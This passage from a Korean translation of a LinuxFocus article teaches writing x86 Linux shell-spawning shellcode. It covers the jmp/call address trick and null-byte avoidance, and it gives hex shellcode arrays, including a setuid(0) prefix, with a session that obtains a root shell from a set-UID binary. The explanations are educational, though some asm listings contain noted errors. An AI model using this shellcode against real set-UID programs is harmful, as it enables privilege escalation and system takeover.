0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
실제 커널 호출은 0x80interrupt를 통해 이루어진다. execve()함수는0x804d9d0, _exit() 함수는 0x804d99b에서 interrupt요청이 이루어진다. 이부분에서 알 수 있는 중요한 사항은 각종 system-call이 %eax안에 그 내용이 저장되는 공통적인 특징을 가지고 있다는 것이다.위의 예를 통해, execve()0x0B라는 값을, _exit()0x01이라는 값을 가지고 있음을 알 수 있다.

Diag. 4 : parameters of the execve() function
parameters of the execve() function

이러한 함수들의 어셈블리 명령어들을 분석해보면, 인자들이 어떻게 저장되는지를 알 수 있다:

우리는 문자열 "/bin/sh"과 이 문자열을 가리키는 포인터, 그리고 NULL포인터가 필요하다(명령에 대한 인수로 아무것도 주지 않았고, 환경또한 선언하지 않았기 때문이다.).우리는 execve() 호출전에 가능한 데이터 표현을 알 수 있다. NULL 포인터가 뒤따르며, 문자열/bin/sh을 인수로 갖는 포인터의 배열을 만들고, %ebx은 문자열을 가르키고,%ecx은 배열 전체를,%edx는 배열의 두번째 인자인 NULL을 가르키게 하라. 이것을 그림으로 나타내면 diag. 5와 같다.

Diag. 5 : data representation relative to registers
data
 

Locating the shellcode within memory

vulnerable한 프로그램에 shellcode를 넣는 일반적인 방법은 shellcode를 정형화된 문자열이나 환경변수로 선언하여 프로그램 실행시 프로그램의 인수로 주는 것이다. 우리는 shellcode를 만들었지만 이것을 사용하기 위해 필요한 shellcode의 주소를 모르고 잇다. 이말은 결국, "/bin/sh" 문자열의 주소를 알아야 한다는 말이다. 우리는 이 주소를 얻기 위해 약간의 속임수(trick)를 쓸 수 있다.

call명령으로 subroutine(함수라고 이해하면 된다.)을 호출했을 때,CPU는 스택에 return address를 저장한다. 이 address는 앞의 글에서 살펴본 바와 같이 call 명령 바로 뒤를 따른다. 일반적으로,이 다음단계에서는 stack의 상태를 저장하는 동작이 일어난다 (push %ebp명령).따라서 subroutine에 들어갈때 pop 명령을 사용한다면 return address를 얻을 수 있다.(pop은 unstack동작을 한다.) 물론, 문자열의 주소를 제공할 "home made prolog"를 위해서 call명령어 바로 뒤에 "/bin/sh"문자열을 저장한다:

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

subroutine이 실제로 있는 것은 아니다. 여기에서는 execve() 의 호출이 성공하면 프로세스는 shell로 대체될 것이며, 호출이 실패한다면 _exit()가 프로그램을 종료시킬 것이다. %esi는 "/bin/sh"의 주소를 우리에게 알려준다. 이제는 단지 문자열 뒤에 이 주소를 넣기만 하면 된다. 아래 그림에서 보듯이 첫번째 요소는 %esi의 값을 가지고 있다.(first item은 %esi+8의 위치에 존재하며, 여기서 8은 /bin/sh의 길이에 null byte를 합친 것이다.) 두번째 요소는%esi+12에 null address로 존재한다(32bit). 이것의 코드는 다음과 같다:

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

diagram 6은 이를 그림으로 표현한 것이다:

Diag. 6 : data array
data area
 

The null bytes problem

이러한 취약점은 strcpy()함수같은 문자열을 다루는 함수에서 종종 발견된다. 공격할 프로글매의 중간에 코드를 삽입하기 위해서, shellcode를 문자열처럼 복사해야 한다. 그러나 문제는 문자열을 복사하는 함수들이 null문자를 발견하면 곧바로 복사를 멈춘다는 데 있다. 따라서 우리가 만든 코드에는 이러한 null문자가 있어서는 안된다. 몇가지 기술을 사용하여 이러한 null byte문제를 피할 수 있다. 예를 들어, 다음의 명령어는

    movl $0x00, 0x0c(%esi)

아래의 명령어로 대체할 수 있다.
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

위의 예는 null byte를 사용하는 방법을 보여주고 있다. 그러나 어떤 명령어의 경우 hex값으로 변환시켜보면 이러한 null byte가 발견된다. 예를 들어, _exit(0)system-call이나 다른 함수에서도 이러한 현상이 나타난다. %eax에 1이란 값을 넣기 위해 _exit()에서 다음의 명령어를 사용하였다.
0x804d996 <_exit+6>: mov $0x1,%eax
이것을 hex값으로 변환하면 다음과 같다:
 b8 01 00 00 00          mov    $0x1,%eax
우리는 위와 같은 상황을 피해야 한다. 이를 해결하는 방안으로는 %eax에 0이란 값을 넣고나서 이것을 증가시키는 것이 있다.

반면에 문자열 "/bin/sh"은 반드시 null byte로 끝나야 한다. shellcode작성시 이렇게 만들 수 있지만, 프로그램안에 삽입하는 방법에 따라 null byte가 마지막 프로그램(final application)에 나타나지 않을 수도 있다. "/bin/sh"에 null byte를 넣기위한 좋은 방법중에 하나를 아래에 소개한다:

    /* movb는 오직 한 byte만 움직인다. */
    /* 아래의 명령은 다음 명령과 같다. */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

 

Building the shellcode

이제 shellcode를 만들기 위한 모든 준비가 끝났다. 아래는 앞에서 언급한 내용들을 적용시켜서 만든 shellcode4.c이다:

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* /bin/sh 주소를 얻는다.*/
        popl %esi
    /* 배열의 첫번째 요소인 이 주소를 넣는다. */
        movl %esi,0x8(%esi)
    /* 배열의 두번째 요소인 NULL을 넣는다. */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* 문자열의 끝에 null byte를 넣는다. */
        movb %eax,0x7(%esi)
    /* execve() 함수 */
        movb $0xb,%al
    /* %ebx안에 실행시킬 문자열의 주소를 넣는다. */
        movl %esi, %ebx
    /* %ecx안에 배열을 넣는다. */
        leal 0x8(%esi),%ecx
    /* %edx안에 배열의 환경을 넣는다. */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null을 돌려주는 코드*/
        xorl %ebx,%ebx
    /*  _exit() 함수 : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

"gcc -o shellcode4 shellcode4.c"명령으로 코드를 컴파일 하라. (역자주: 이대로 컴파일하면 에러만 발생하고 컴파일 되지 않는다. subroutine_call에 적당한 값을 넣어주면 이를 피할 수 있다. ex> jmp subroutine_call -> jmp 0x1f subroutine_call -> call -0x24). "objdump --disassemble shellcode4"명령은 실행파일내에 null byte가 존재하지 않음을 확인시켜줄 것이다:

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

비록 명령어로 표현되지는 않았지만, 문자열 "/bin/sh" (hex값으로 2f 62 69 6e 2f 73 68 00으로 표현된다.)과 몇몇 바이트로 구성된 data를 804831c주소 뒤에서 발견할 수 있다. 80483c8에 있는 문자열의 끝을 나타내는 null문자를 제외하고, 코드의 어디에도 zero는 존재하지 않는다.

이제 이 프로그램을 테스트 해보자:

$ ./shellcode4
Segmentation fault (core dumped)
$

테스트 결과를 통해, 이 프로그램이 아직 자신의 역할(shell을 실행시키는 것)을 충분히 수행하지 못한다는 것을 알 수 있다. 주의깊게 살펴보면 main() 함수가 위치하는 곳이 read-only영역(이글의 제일 앞에서 언급한 text영역 을 말한다.)이라는 사실을 알 수 있을 것이다. shellcode또한 이영역의 내용을 바꿀 수 없다. 어떻게 하면 우리가 만든 shellcode를 테스트할 수 있을까?

read-only문제를 피해갈 수 있는 방법으로 shellcode를 data영역에 넣는 방법이 있다. shellcode를 전역변수 배열로 선언하자. 여기에 또다른 기술을 더하여 shellcode를 실행시킬 수 있다. 스택안에서 shellcode를 가지고 있는 배열의 주소를 알아내서, main()함수의 return address로 이 주소를 넣는 것이다. main()함수가 linker에 의해 추가되는 몇몇 코드에 의해 호출되는 기본적인 루틴("standard" routine)임을 잊지 말라. 아래예제에서는 스택의 처음 위치에서 두개의 문자 배열만큼의 공간만 덮어쓰면 return address를 조작할 수 있다.

  /* shellcode5.c */

  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 는 스택의 최상위(top)로부터 */
      /*  2 words(8 bytes) offset 역할을 할 것이다. */
      /*  첫번째 word는 지역변수를 위한 공간이며, */
      /*  두번째 word는 저장된 %ebp(=sfp)의 공간이다. */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

이제 우리 프로그램을 테스트해보자:

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

우리는 단지 프로그램 shellcode5를 Set-UID root로 설정하고, 이프로그램을 실행시켰을 때 root 권한으로 바뀌는것만 확인해보면 된다:

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

 

Generalization and last details

이 shellcode는 다소 제한적이다(물론, 몇byte의 문제이긴 하지만). 아래의 프로그램을 예로 들자면:

  /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
이 프로그램은 지난번 글에서 추천했던 방식처럼, 프로세스의 실제UID값을 얻어서 effective UID를 지정하였다. 이런 프로그램에서는 shell이 실행될 때 특별한 권한을 갖지 않고 실행된다:
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

그러나, seteuid(getuid())명령은 그리 효과적인 방어책이 되지 못한다. 이는 간단히 setuid(0)을 호출하는 것으로 해결되는데, setuid(0);은 shellcode의 앞부분에서 S-UID프로그램의 EUID를 제일 낮은 0으로 설정하는 것과 같은 효과를 갖는다.

이 명령어의 코드는 다음과 같다:

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

위의 코드를 앞의 shellcode와 조합하여 보자:
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
이것이 제대로 동작하는지 테스트 해보자.
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

이장의 마지막에 나오는 예는 shellcode를 함수에 삽입하는것이 가능하다는 것을 보여준다. 예를 들어, chroot()가 설정된 디렉토리를 빠져나오는 것이라던가, socket을 사용하여 remote shell을 띄우는 일등이 있다.

이러한 shellcode의 변형은 그들이 사용되는 목적에 따라 shellcode안에서 몇byte의 값을 목적에 맞게 고쳐줘야 한다는 의미를 내포하고 있다:

eb XX <subroutine_call> XX = <subroutine_call>까지의 bytes수
<subroutine>:
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = XX = 배열의 첫번째 인자위치(실행할 명령의 주소). 이 offset은 실행할 명령과 '\0'이 포함된 값이다.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = 배열의 두번째 인자위치,여기서는 NULL값을 갖는다.
88 46 XX movb %al,XX(%esi) XX = 문자열 끝에 들어가는 '\0'의 위치.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = 배열에서 첫번째 인자가 있는 곳의 offset을 %ecx에 넣는다.
8d 56 XX leal XX(%esi),%edx XX = 배열에서 두번째 인자가 있는 곳의 offset을 %edx에 넣는다.
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> 이 4 bytes는 <subroutine>까지의 bytes를 계산한 것이다. (little endian으로 음수로 표현된다.)<subroutine>
 

Conclusion

우리는 이글을 통해 대략 40byte정도되는 프로그램을 만들고, 이를 이용해 root권한으로 외부명령어(external command)를 실행시킬 수 있다는 것을 알게 되었다. 또한 이장의 마지막 예를 통해 스택을 망가뜨릴 수 있는 방법을 살펴보았다. 이 기술에 대해서는 다음글에서 더 자세히 다룰 것이다....

 

Talkback form for this article

Every article has its own talkback page. On this page you can submit a comment or look at comments from other readers:
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Click here to report a fault or send a comment to LinuxFocus
Translation information:
fr -> --
fr -> en
en -> ko , , , ,

2001-04-27, generated by lfparser version 2.13